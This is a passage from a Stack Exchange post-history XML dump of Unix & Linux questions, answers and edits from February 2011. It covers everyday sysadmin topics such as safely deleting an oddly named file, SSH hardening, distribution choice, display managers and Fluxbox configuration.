[EmacsWiki: Generic Mode](http://www.emacswiki.org/cgi-bin/wiki/GenericMode)&#xD;&#xA; - [EmacsWiki: Hindi Support](http://www.emacswiki.org/cgi-bin/wiki/SupportHindi)&#xD;&#xA;&#xD;&#xA;Since you really only need your mode to provide font locking, I would take a look at making a &quot;Derived Mode&quot; (see the relevant link above).  Creating such a mode basically involves defining regular expressions that will match the various parts of the code you want highlighted in a certain way, and then assigning that either to one of the predefined font-lock faces or a custom face you would define.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/emacs/&#xD;&#xA;  [2]: http://i.imgur.com/etFst.png&#xD;&#xA;  [3]: http://" />
  <row Id="16062" PostHistoryTypeId="2" PostId="6958" RevisionGUID="16e66af3-1b37-4a0b-908f-a1f20d7391c7" CreationDate="2011-02-05T22:49:16.920" UserId="4502" Text="Just remove the perl* from your /etc/yum.conf file..then rerun your yum install.&#xD;&#xA;&#xD;&#xA;Make sure you remember to put it back in the conf file after you've installed git&#xD;&#xA;or some subsequent update may clobber something cpanel needs." />
  <row Id="16063" PostHistoryTypeId="25" PostId="6942" RevisionGUID="1e2080ad-4531-4794-8a04-dc19b1aa74c2" CreationDate="2011-02-05T23:16:30.023" Comment="http://twitter.com/#!/StackUnix/status/34027613454467072" />
  <row Id="16064" PostHistoryTypeId="2" PostId="6959" RevisionGUID="b0b54b8f-caf6-4bfe-832e-65931d80f5b7" CreationDate="2011-02-06T00:09:42.307" UserId="457" Text="If there are a lot of matches to using a wildcard with rm like `rm -i ?`, you can always remove it by inode number instead: &#xD;&#xA;&#xD;&#xA;`ls -i` &lt;br/&gt;&#xD;&#xA;`find . -inum &lt;inode&gt; -ok rm '{}' \;` )&#xD;&#xA;&#xD;&#xA;Where `&lt;inode&gt;` is the inode number from `ls -i`, which lists all the inode numbers of the files in the current directory." />
  <row Id="16065" PostHistoryTypeId="2" PostId="6960" RevisionGUID="6caa9e29-344a-4e90-a688-d174492ca588" CreationDate="2011-02-06T00:11:04.930" UserId="2878" Text="Double and triple check your firewall configuration. There are plenty of resources online for researching that. &#xD;&#xA;&#xD;&#xA;Next, move SSH to a non standard port. If your box is secure, this won't matter as much but you'll have less log spam from script kiddies. If there are security issue (able to log in a root, week passwords, etc) moving to a non standard port will reduce the likelihood a script kiddie gets finds your ssh server. but again, this is only security through obscurity. So make sure you disable root login and have strong passwords or disable password login all together and use keys based authentication. if you need to leave ssh on 22, then install fail2ban or denyhosts to block brute force login attempts. Did I mention strong passwords? &#xD;&#xA;&#xD;&#xA;Your most likely point of entry or compromise won't be through the OS or the services it runs, rather the software you present to the public. So your next priority is to stay current on updates to software such as wordpress, drupal, joomla and other third party applications. Also keep on top of security updates to your OS and Apache or whatever is powering your sites. &#xD;&#xA;&#xD;&#xA;Lastly throw in some precautions for catching anything that does get by. I'd suggest something like '[aide][1]' which basically checksums your configuration files, take a peak at log files occasionally and watch or any weird spikes in activity. &#xD;&#xA;&#xD;&#xA;Do these steps and read up a bit on a few sites (the pdf linked in the above comment would be a good start) it doesn't take much to be way more secure than any shared hosting platform. &#xD;&#xA;&#xD;&#xA;and if you really want to be secure, try to hack your own server sometime :) &#xD;&#xA;&#xD;&#xA;  [1]: http://aide.sourceforge.net/" />
  <row Id="16066" PostHistoryTypeId="2" PostId="6961" RevisionGUID="69107781-e1c8-4c71-96f1-0d221091b288" CreationDate="2011-02-06T00:30:49.327" UserId="2878" Text="This really depends on your situation. Ubuntu has a sever and even LTS (long term support) version that in a lot of ways is just as good as RHEL/CentOS. I work in a mixed environment. Generally using Fedora or Ubuntu for desktops, use FreeBSD, Gentoo and such for appliances and for servers I stick mainly to CentOS but manage a lot of Ubuntu servers as well. &#xD;&#xA;&#xD;&#xA;I won't say that either is better or worse than the other, just different goals. Both offer paid support and really, CentOS is just RHEL rebuilt to be free so we're really comparing RHEL to Ubuntu &#xD;&#xA;&#xD;&#xA;Ubuntu server is usually more current on new features than RHEL if you want to do an install and have the latest and greatest version of PHP, MySQL or other programs, you're gonna want Ubuntu. You can get them on RHEL, but it's a pain. So it really boils down to how you'll be using it. If this server is going to sit in a closet, alone and you run mainly off the shelf programs and have plenty of time to work on it, pick Ubunut. In this case updates to this box aren't going to be a problem. If an update breaks something, you can have it fixed in a few minutes. I have an Ubuntu server sitting in a rack right next to my chair, it is on the non LTS Ubuntu and isn't a problem to do dist upgrades or security updates. &#xD;&#xA;&#xD;&#xA;If however you are going to be managing a lot of servers and using a lot of non standard software or other custom setups on the box, please pick RHEL/CentOS. I have never had an update break anything on RHEL/CentOS. I have boxes several hundred miles from me with very limited access that happily run automatic security updates and have never caused an issue with my customizations. Can't say the same for Ubuntu. &#xD;&#xA;&#xD;&#xA;Spend time with both, see what you like and what fits with your specific needs. " />
  <row Id="16067" PostHistoryTypeId="2" PostId="6962" RevisionGUID="3bd9e494-7bf8-4c9c-bc86-8766332089db" CreationDate="2011-02-06T00:47:36.007" UserId="2878" Text="With the addition of your last two requirements, I'd suggest using CentOS and configure everything per your requirements. Those two requirements would require enough modification to any router/appliance distro to make you go crazy. So yeah, install CentOS, then you can use smoothwall or similar package to simplify your routing setup You can use wireless as one of your interfaces. &#xD;&#xA;&#xD;&#xA;Though, might I make a suggestion (that's the point right?) skip adding the wireless card to the server. Throw another NIC in the server, install and setup CentOS w/ smoothwall. Then attach a cheap wireless AP (non router) to the extra NIC. You'll get a lot better result this way. Move the AP to a more logical spot for an AP, behind a computer isn't usually a good place for an antenna and you'll get better performance moving the AP vs just added a longer antenna cable. &#xD;&#xA;&#xD;&#xA;Your computer will still manage all the routing, firewalls, DHCP, etc. you just set up your AP's wireless name and channel and you're good to go. " />
  <row Id="16068" PostHistoryTypeId="5" PostId="6949" RevisionGUID="1a392eca-85d3-4eb1-a9fb-d97850b12958" CreationDate="2011-02-06T01:06:16.177" UserId="3976" Comment="Updated to answer additional questions" Text="One of the things that RHEL/CentOS (and other Enterprise Linux products) provides that other distros don't provide is API/ABI stability.  This is a frustration to a lot of people who are new to RHEL, because all they see is that the versions available are all older than the latest releases found in the latest release of Ubuntu/Fedora/Gentoo/Whatever.  But, if you're supporting a product that was deployed on an RHEL box, you don't have to worry about the underlying technology the product uses having it's API change (with new versions of apache, php, perl, python, glibc, whatever).  This even applies to most kernel modules provided for RHEL.&#xD;&#xA;&#xD;&#xA;As an example, if I've developed a web application that runs on RHEL 5.0, I can be fairly certain that it will continue to run on RHEL 5.6 two years later, all the while the RHEL system has been getting security updates and bug fixes the whole time.&#xD;&#xA;&#xD;&#xA;To answer the &quot;more secure&quot; question:  Because RHEL backports security fixes to the released version they provide, you can continue to have a stable API to release software on without worrying about the security of the underlying system." />
  <row Id="16069" PostHistoryTypeId="2" PostId="6963" RevisionGUID="17af0167-7548-4cfa-9163-285bc05e767d" CreationDate="2011-02-06T02:02:15.680" UserId="3169" Text="The `rm -i` answer is fine.&#xD;&#xA;&#xD;&#xA;This would also work:&#xD;&#xA;&#xD;&#xA;    rm [^a-z]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And as to why it's going back to the start of the line, how are you typing the `˚`?  Perhaps the input is being interpreted as `Ctrl+A` or some other shortcut that is used by the shell to go to the start of the line.&#xD;&#xA;&#xD;&#xA;Is there a setting to set the encoding or character set to `utf-8` in the terminal app?  What does it print if you run `locale -a` inside the terminal session?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And how did you create the file?  Maybe you can use a similar method to delete it?" />
  <row Id="16070" PostHistoryTypeId="5" PostId="6963" RevisionGUID="96b708ba-c0d5-490a-92af-db51e43172cd" CreationDate="2011-02-06T02:07:43.003" UserId="3169" Comment="added 32 characters in body; added 2 characters in body" Text="The `rm -i ?` answer is fine.&#xD;&#xA;&#xD;&#xA;This would also work:&#xD;&#xA;&#xD;&#xA;    rm [^a-z]&#xD;&#xA;&#xD;&#xA;as would&#xD;&#xA;&#xD;&#xA;    rm [[:punct:]]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And as to why it's going back to the start of the line, how are you typing the `˚`?  Perhaps the input is being interpreted as `Ctrl+A` or some other shortcut that is used by the shell to go to the start of the line.&#xD;&#xA;&#xD;&#xA;Is there a setting to set the encoding or character set to `utf-8` in the terminal app?  What does it print if you run `locale -a` inside the terminal session?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And how did you create the file?  Maybe you can use a similar method to delete it?" />
  <row Id="16071" PostHistoryTypeId="25" PostId="6951" RevisionGUID="2347c052-8bae-451b-949d-4b55fec12bb6" CreationDate="2011-02-06T02:16:29.977" Comment="http://twitter.com/#!/StackUnix/status/34072912021422080" />
  <row Id="16072" PostHistoryTypeId="2" PostId="6964" RevisionGUID="55ca4ced-9eaa-4d2c-87d5-1048e111f170" CreationDate="2011-02-06T02:44:47.550" UserId="2878" Text="Check the logs to see if there are any messages of note there. Try resetting your password, not saying you don't know it, but a reset will fix a couple possible issues.  Then check your `/etc/passwd` file look for the line with your username on it and see if there is anything out of the ordinary i.e. your shell being set to 'nologin' or 'false'.  Last you could remove the user acct and then add it back. " />
  <row Id="16073" PostHistoryTypeId="2" PostId="6965" RevisionGUID="31ca4969-76d4-4d24-89dc-149602766c6d" CreationDate="2011-02-06T03:12:12.940" UserId="1951" Text="Sorry , is your wlc folder inside a vhosts or in the httpd.conf ?.&#xD;&#xA;If it isn't , just add it ( i don't know how it's set on suse though , because i'm way used to FreeBSD ), but check the httpd.conf or the /path/to/apache/conf/extra/httpd-vhosts.conf in that machine.&#xD;&#xA;&#xD;&#xA;( the configurations be different on that one , and may have a Debian Layout ( sites enabled... ) )&#xD;&#xA;Lemme know what you have ;)" />
  <row Id="16074" PostHistoryTypeId="5" PostId="6959" RevisionGUID="cf342da6-ff8f-4801-a3aa-9911a3e4f896" CreationDate="2011-02-06T04:17:34.210" UserId="457" Comment="Removed errant &quot;)&quot; that might have been confused with part of the command" Text="If there are a lot of matches to using a wildcard with rm like `rm -i ?`, you can always remove it by inode number instead: &#xD;&#xA;&#xD;&#xA;`ls -i` &lt;br/&gt;&#xD;&#xA;`find . -inum &lt;inode&gt; -ok rm '{}' \;`&#xD;&#xA;&#xD;&#xA;Where `&lt;inode&gt;` is the inode number from `ls -i`, which lists all the inode numbers of the files in the current directory." />
  <row Id="16075" PostHistoryTypeId="2" PostId="6966" RevisionGUID="86128ab1-a5d3-46ce-b100-44d7897262c4" CreationDate="2011-02-06T04:31:18.200" UserId="3976" Text="No, your changes won't be in the new initrd.  The CentOS kernel packages have a post-script that runs `/sbin/new-kernel-pkg --package kernel --mkinitrd --depmod --install 2.6.18-238.1.1.el5` (an example from the RHEL5 kernel I have installed).&#xD;&#xA;&#xD;&#xA;The command will run mkinitrd, which will build a new initrd, and the changes that you made to the previous initrd won't be created there, unless you've also changed the mkinitrd script it's files (or you patched nash or something like that)." />
  <row Id="16076" PostHistoryTypeId="2" PostId="6967" RevisionGUID="c5db1d24-c4e3-4ffe-86dc-40b291824c56" CreationDate="2011-02-06T04:33:59.110" UserId="2657" Text="Hey everyone:)&#xD;&#xA;&#xD;&#xA;I've been wondering lately why do I need GDM. and so - I got it disabled for experiment sake through modifying upstart file /etc/init/gdm (I run Ubuntu 10.10 desktop). So now computer boots to command prompt and I just type in startx if I need GUI.&#xD;&#xA;&#xD;&#xA;so far everything runs just fine. But - does anyone know if there are any drawbacks to not using gdm?&#xD;&#xA;&#xD;&#xA;Would I lose any functionality?&#xD;&#xA;&#xD;&#xA;Thanks:)" />
  <row Id="16077" PostHistoryTypeId="1" PostId="6967" RevisionGUID="c5db1d24-c4e3-4ffe-86dc-40b291824c56" CreationDate="2011-02-06T04:33:59.110" UserId="2657" Text="What functionality do I lose by disabling GDM/KDM/SLIM/CDM etc display managers ?" />
  <row Id="16078" PostHistoryTypeId="3" PostId="6967" RevisionGUID="c5db1d24-c4e3-4ffe-86dc-40b291824c56" CreationDate="2011-02-06T04:33:59.110" UserId="2657" Text="éubuntuàégdmàédisplayömanagerà" />
  <row Id="16079" PostHistoryTypeId="2" PostId="6968" RevisionGUID="86b65359-0c72-494a-9324-f35867ba3215" CreationDate="2011-02-06T04:37:00.640" UserId="3976" Text="The SATA driver uses the SCSI kernel modules.  You'll need scsi_mod and sd_mod at least, I'm not sure about scsi_transport_spi, it's certainly not loaded on any of my SATA-only systems." />
  <row Id="16080" PostHistoryTypeId="2" PostId="6969" RevisionGUID="6b620d01-d2f7-4159-8a61-e6fbe2a09c99" CreationDate="2011-02-06T04:50:47.880" UserId="3482" Text="If you are an expert command line user, then I would say no. You still have all the programs you have installed. All you are not seeing is the graphical representation. I had startx run at startup so that I can open up the browser without having to run startx everytime I want to start the browser.&#xD;&#xA;" />
  <row Id="16081" PostHistoryTypeId="2" PostId="6970" RevisionGUID="5c76fc02-4117-4d40-b731-32e5f0d96ceb" CreationDate="2011-02-06T04:58:56.827" UserId="3482" Text="[System calls][1] are functions that the operating system provides for applications to use. Whereas functions like the ones in math.h, string.h, etc are those that doesn't have anything to do with interfacing with the operating system.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/System_call" />
  <row Id="16082" PostHistoryTypeId="2" PostId="6971" RevisionGUID="5e4469b1-3cd5-4d63-a968-90123406643e" CreationDate="2011-02-06T05:09:36.270" UserId="3482" Text="Try this:&#xD;&#xA;`cat /etc/sysconfig/desktop`&#xD;&#xA;&#xD;&#xA;That should tell what your `DISPLAYMANAGER` and `DESKTOP` are set to. This file is used by `/etc/X11/xinit/Xclients` to determine which desktop to start.&#xD;&#xA;" />
  <row Id="16083" PostHistoryTypeId="25" PostId="6967" RevisionGUID="61cccfd9-1488-4d46-acff-513b107fe137" CreationDate="2011-02-06T05:16:29.667" Comment="http://twitter.com/#!/StackUnix/status/34118209317634048" />
  <row Id="16084" PostHistoryTypeId="5" PostId="6887" RevisionGUID="9c9b5d15-ff5a-4707-b6bb-cf8f7a949707" CreationDate="2011-02-06T05:16:42.820" UserId="29" Comment="make sure people know that changing dns doesn't have to be the solution." Text="I want to set a dns record that my browser will use, but I don't have root access, so I can't modify `/etc/hosts`. I need to do this for testing vhosts with apache, whose dns hasn't yet been set up. I have access to firefox, and chrome, so if there's a plugin that could facilitate it; or other options are helpful.&#xD;&#xA;&#xD;&#xA;**update:** the alternative to overriding the dns is probably modifying the HTTP headers, if the correct ones are sent to apache, the correct content should be returned." />
  <row Id="16085" PostHistoryTypeId="6" PostId="6887" RevisionGUID="9c9b5d15-ff5a-4707-b6bb-cf8f7a949707" CreationDate="2011-02-06T05:16:42.820" UserId="29" Comment="make sure people know that changing dns doesn't have to be the solution." Text="édnsàéhttpà" />
  <row Id="16086" PostHistoryTypeId="2" PostId="6972" RevisionGUID="63320473-98e0-46c3-aa53-3361fa2f07d9" CreationDate="2011-02-06T07:17:22.707" UserId="4479" Text="Using fluxbox for a few days now trying to get things setup as I want them.&#xD;&#xA;&#xD;&#xA;I added window.focus.borderWidth: 2 (and .borderColor: white) to my .fluxbox/overlay so I can easily determine what window is focused without looking down to the toolbar. This works perfect.. except for:&#xD;&#xA;&#xD;&#xA;If a window is maximized such as Firefox then no focus border appears, so for maximized windows I cant use the same visuals to determine if they are focused. Why the obsession: I use deco: border (i dont need window title) on a multi-head setup so I like to know whats in focus.&#xD;&#xA;&#xD;&#xA;In a nutshell, I want large border for focused maximized windows in Fluxbox, how? " />
  <row Id="16087" PostHistoryTypeId="1" PostId="6972" RevisionGUID="63320473-98e0-46c3-aa53-3361fa2f07d9" CreationDate="2011-02-06T07:17:22.707" UserId="4479" Text="Fluxbox borderWith on focused Maximized windows" />
  <row Id="16088" PostHistoryTypeId="3" PostId="6972" RevisionGUID="63320473-98e0-46c3-aa53-3361fa2f07d9" CreationDate="2011-02-06T07:17:22.707" UserId="4479" Text="éfluxboxà" />
  <row Id="16089" PostHistoryTypeId="25" PostId="6972" RevisionGUID="bee06d90-f977-432e-a6be-2756dfce5c40" CreationDate="2011-02-06T08:16:29.890" Comment="http://twitter.com/#!/StackUnix/status/34163508388184064" />
  <row Id="16090" PostHistoryTypeId="2" PostId="6973" RevisionGUID="1344472b-2184-4b69-83a9-13e927daaa87" CreationDate="2011-02-06T08:27:18.780" UserId="4510" Text="I'm surprised that there isn't a definitive answer here. Someone should do some historical spelunking and figure this one out. Where and when did the &quot;minus&quot; or &quot;dash&quot; traditions start? Good thesis topic :-)&#xD;&#xA;&#xD;&#xA;I picked up saying &quot;minus&quot; from a bunch of kernel hackers I worked with at a certain company that had an OS that included major parts of BSD (that would be apple). I always found that it tripped off the tongue much more easily than dash.&#xD;&#xA;&#xD;&#xA;If I have a file name with a &quot;-&quot; in it I would never call it minus, I would call it dash. Thus, I can easily differentiate in conversation between the arguments part of a command and the file name part.&#xD;&#xA;&#xD;&#xA;It's pretty rare to include arithmetical expressions in shell commands, so confusion with math seems unlikely.&#xD;&#xA;&#xD;&#xA;Based on the other answers here, it sounds like people who are old-time UNIX gurus, or like myself have hung around with old-time UNIX gurus, are more like to say &quot;minus&quot;. Thus my suspicion that there's an interesting historical story here." />
  <row Id="16091" PostHistoryTypeId="2" PostId="6974" RevisionGUID="583ca3e3-829d-4b33-bd5b-2ee817a6c57c" CreationDate="2011-02-06T09:08:11.263" UserId="3169" Text="The character you are typing is known [hyphen-minus][1], so either &quot;hyphen&quot; or &quot;minus&quot; are more correct than &quot;dash&quot;.&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;[Dash][2] is actually a different character that does not appear in the ASCII character set.  It is longer than a hyphen-minus.&#xD;&#xA;&#xD;&#xA;Many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`).&#xD;&#xA;&#xD;&#xA;GNU utilities accept long options starting with double minus.&#xD;&#xA;&#xD;&#xA;Given the double minus/dash equivalence, equating dash with a single minus is not only incorrect, but potentially confusing.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash" />
  <row Id="16092" PostHistoryTypeId="5" PostId="6974" RevisionGUID="03c86889-17b9-4e3d-90b3-71ca3aa62723" CreationDate="2011-02-06T09:16:00.890" UserId="3169" Comment="added 3 characters in body" Text="The character you are typing is known as [hyphen-minus][1], so either &quot;hyphen&quot; or &quot;minus&quot; are more correct than &quot;dash&quot;.&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;[Dash][2] is actually a different character that does not appear in the ASCII character set.  It is longer than a hyphen-minus.&#xD;&#xA;&#xD;&#xA;Many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`).&#xD;&#xA;&#xD;&#xA;GNU utilities accept long options starting with double minus.&#xD;&#xA;&#xD;&#xA;Given the double minus/dash equivalence, equating dash with a single minus is not only incorrect, but potentially confusing.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash" />
  <row Id="16093" PostHistoryTypeId="5" PostId="6974" RevisionGUID="7bd5c034-77d8-488b-93ed-a36e5868c593" CreationDate="2011-02-06T09:49:36.843" UserId="3169" Comment="add pros for dash" Text="**reasons to say minus**&#xD;&#xA;&#xD;&#xA;The character you are typing is known as [hyphen-minus][1], so either &quot;hyphen&quot; or &quot;minus&quot; are more correct than &quot;dash&quot;.&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;[Dash][2] is actually a different character that does not appear in the ASCII character set.  It is longer than a hyphen-minus.&#xD;&#xA;&#xD;&#xA;Many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`).&#xD;&#xA;&#xD;&#xA;GNU utilities accept long options starting with double minus.&#xD;&#xA;&#xD;&#xA;Given the double minus/dash equivalence, equating dash with a single minus is not only incorrect, but potentially confusing.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**reasons to say dash**&#xD;&#xA;&#xD;&#xA;When you write `-` in a man page, it turns into a dash; you have to write `\-` to get a minus.  &#xD;&#xA;(See `man 7 groff_char` [PDF version][3].)&#xD;&#xA;&#xD;&#xA;One syllable versus two.  Laziness wins.&#xD;&#xA;&#xD;&#xA;  [3]: http://mikelward.homedns.org/cgi-bin/manual?system=Debian&amp;section=0&amp;format=pdf&amp;type=0&amp;query=groff_char&#xD;&#xA;" />
  <row Id="16094" PostHistoryTypeId="5" PostId="6974" RevisionGUID="046925ca-3bc6-4972-b69d-d92feb1a85ea" CreationDate="2011-02-06T09:55:05.180" UserId="3169" Comment="deleted 171 characters in body; added 58 characters in body" Text="**reasons to say minus**&#xD;&#xA;&#xD;&#xA;The character you are typing is known as [hyphen-minus][1], so either &quot;hyphen&quot; (`-`) or &quot;minus&quot; (`-`) are more correct than [dash][2] (`—`).&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;Also, many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`), which could lead to confusion when discussing GNU long options, e.g. `--help`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**reasons to say dash**&#xD;&#xA;&#xD;&#xA;When you write `-` in a man page, it turns into a dash; [you have to write `\-` to get a minus][3].  &#xD;&#xA;`man` uses the `roff`/`troff` system, which was written by [Brian Kernighan][4].  QED.   &#xD;&#xA;&#xD;&#xA;One syllable versus two.  Laziness wins.&#xD;&#xA;&#xD;&#xA;  [3]: http://mikelward.homedns.org/cgi-bin/manual?system=Debian&amp;section=0&amp;format=pdf&amp;type=0&amp;query=groff_char&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Brian_Kernighan&#xD;&#xA;" />
  <row Id="16095" PostHistoryTypeId="5" PostId="6974" RevisionGUID="ce5d770e-6538-4109-99d5-62e662f3c1ca" CreationDate="2011-02-06T10:17:39.293" UserId="3169" Comment="linkify Laziness to Larry Wall's talk; added 74 characters in body" Text="**reasons to say minus**&#xD;&#xA;&#xD;&#xA;[The character you are typing][6] is known as [hyphen-minus][1], so either &quot;hyphen&quot; (`-`) or &quot;minus&quot; (`-`) are more correct than [dash][2] (`—`).&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;Also, many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`), which could lead to confusion when discussing GNU long options, e.g. `--help`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**reasons to say dash**&#xD;&#xA;&#xD;&#xA;When you write `-` in a man page, it turns into a dash; [you have to write `\-` to get a minus][3].  &#xD;&#xA;`man` uses the `roff`/`troff` system, which was written by [Brian Kernighan][4].  QED.   &#xD;&#xA;&#xD;&#xA;One syllable versus two.  [Laziness wins][5].&#xD;&#xA;&#xD;&#xA;  [3]: http://mikelward.homedns.org/cgi-bin/manual?system=Debian&amp;section=0&amp;format=pdf&amp;type=0&amp;query=groff_char&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Brian_Kernighan&#xD;&#xA;  [5]: http://oreilly.com/catalog/opensources/book/larry.html&#xD;&#xA;  [6]: http://www.cs.sfu.ca/~ggbaker/reference/characters/#char002D" />
  <row Id="16096" PostHistoryTypeId="2" PostId="6975" RevisionGUID="57214fbc-4aa9-4eff-aa35-490310af7300" CreationDate="2011-02-06T10:27:32.880" UserId="838" Text="submit a feature request to sf.net/projects/fluxbox. what you want is currently blocked by this piece of code in src/WindowState.cc:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    38 bool WindowState::useBorder() const {&#xD;&#xA;    39     return !fullscreen &amp;&amp; maximized != MAX_FULL &amp;&amp; deco_mask &amp; DECORM_BORDER;&#xD;&#xA;    40 }&#xD;&#xA;&#xD;&#xA;(if maximized is not vertical-only or horizontal-only)" />
  <row Id="16097" PostHistoryTypeId="2" PostId="6976" RevisionGUID="e153511e-7dc1-4c08-af46-0e9e864679d8" CreationDate="2011-02-06T10:49:01.067" UserId="838" Text="* If you are starting your X anyways .. all the time then there is no point in repeating `startx` manually over and over again.&#xD;&#xA;&#xD;&#xA;* If you use *DM, you can use a program to lock the screen and go away from the machine.  &#xD;&#xA;If you do not use *DM but just launch your xsession via `startx` you have to lock your xsession AND you have to lock your console. otherwise a person can &lt;kbd&gt;alt&lt;/kbd&gt;&lt;kbd&gt;fN&lt;/kbd&gt; and take over your account.&#xD;&#xA;&#xD;&#xA;* *DM can be configured so that people can attach remotly to that *DM. http://www.faqs.org/docs/Linux-mini/XDM-Xterm.html#XDM&#xD;&#xA;&#xD;&#xA;Other than that: you don't lose anything.&#xD;&#xA;&#xD;&#xA;Regarding &quot;want to become better at CLI&quot;: X is (mostly as a joke) considered a great xterm multiplexer to give the muser more space to improve his CLI skills :) I do not consider that as a valid argument against a X session, does not matter if triggered by *DM or by `startx`." />
  <row Id="16098" PostHistoryTypeId="25" PostId="6930" RevisionGUID="ba630194-6bce-4a81-a48d-ceeec714aa37" CreationDate="2011-02-06T11:16:29.953" Comment="http://twitter.com/#!/StackUnix/status/34208807357779968" />
  <row Id="16099" PostHistoryTypeId="2" PostId="6977" RevisionGUID="304116f4-af18-49fa-a5a6-6021bfff80c6" CreationDate="2011-02-06T13:58:47.550" UserId="250" Text="First, run `ps -ef | grep ibus` to check that the daemon is running with the correct option. There should be a process like `ibus-daemon --xim`.&#xD;&#xA;&#xD;&#xA;Second, beware of the program you use to test iBus. For example, Kate (the KDE text editor) doesn't work with iBus (or at least not by default, you'll have to look more if you want that). I believe other KDE apps are like Kate as well, though I'm not sure. I use Chromium or Firefox to test iBus (click on the address bar and perform the key combination).&#xD;&#xA;&#xD;&#xA;Third, (you may have already discovered that) iBus only functions properly once you have logged out and logged back in." />
  <row Id="16100" PostHistoryTypeId="5" PostId="6977" RevisionGUID="3b51e3fd-2679-4df7-8896-6c3c0c0d4df2" CreationDate="2011-02-06T14:04:06.937" UserId="250" Comment="added 151 characters in body" Text="First, run `ps -ef | grep ibus` to check that the daemon is running with the correct option. There should be a process like `ibus-daemon --xim`.&#xD;&#xA;&#xD;&#xA;Second, beware of the program you use to test iBus. For example, Kate (the KDE text editor) doesn't work with iBus (or at least not by default, you'll have to look more if you want that). I believe other KDE apps are like Kate as well, though I'm not sure. I use Chromium or Firefox to test iBus (click on the address bar and perform the key combination).&#xD;&#xA;&#xD;&#xA;Third, (you may have already discovered that) iBus only functions properly once you have logged out and logged back in.&#xD;&#xA;&#xD;&#xA;Update: a little searching revealed that there is [ibus-qt][1] for KDE applications.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/ibus/wiki/Install#ibus-qt" />
  <row Id="16101" PostHistoryTypeId="25" PostId="6903" RevisionGUID="73be1f81-8f30-40de-b941-b3cd66f8b0c9" CreationDate="2011-02-06T14:16:29.517" Comment="http://twitter.com/#!/StackUnix/status/34254104113065984" />
  <row Id="16102" PostHistoryTypeId="5" PostId="6961" RevisionGUID="2af724a8-e0b1-4fcd-b209-0a87d2caf799" CreationDate="2011-02-06T14:22:34.177" UserId="250" Comment="Typo: Ubunut -&gt; Ubuntu" Text="This really depends on your situation. Ubuntu has a sever and even LTS (long term support) version that in a lot of ways is just as good as RHEL/CentOS. I work in a mixed environment. Generally using Fedora or Ubuntu for desktops, use FreeBSD, Gentoo and such for appliances and for servers I stick mainly to CentOS but manage a lot of Ubuntu servers as well. &#xD;&#xA;&#xD;&#xA;I won't say that either is better or worse than the other, just different goals. Both offer paid support and really, CentOS is just RHEL rebuilt to be free so we're really comparing RHEL to Ubuntu &#xD;&#xA;&#xD;&#xA;Ubuntu server is usually more current on new features than RHEL if you want to do an install and have the latest and greatest version of PHP, MySQL or other programs, you're gonna want Ubuntu. You can get them on RHEL, but it's a pain. So it really boils down to how you'll be using it. If this server is going to sit in a closet, alone and you run mainly off the shelf programs and have plenty of time to work on it, pick Ubuntu. In this case updates to this box aren't going to be a problem. If an update breaks something, you can have it fixed in a few minutes. I have an Ubuntu server sitting in a rack right next to my chair, it is on the non LTS Ubuntu and isn't a problem to do dist upgrades or security updates. &#xD;&#xA;&#xD;&#xA;If however you are going to be managing a 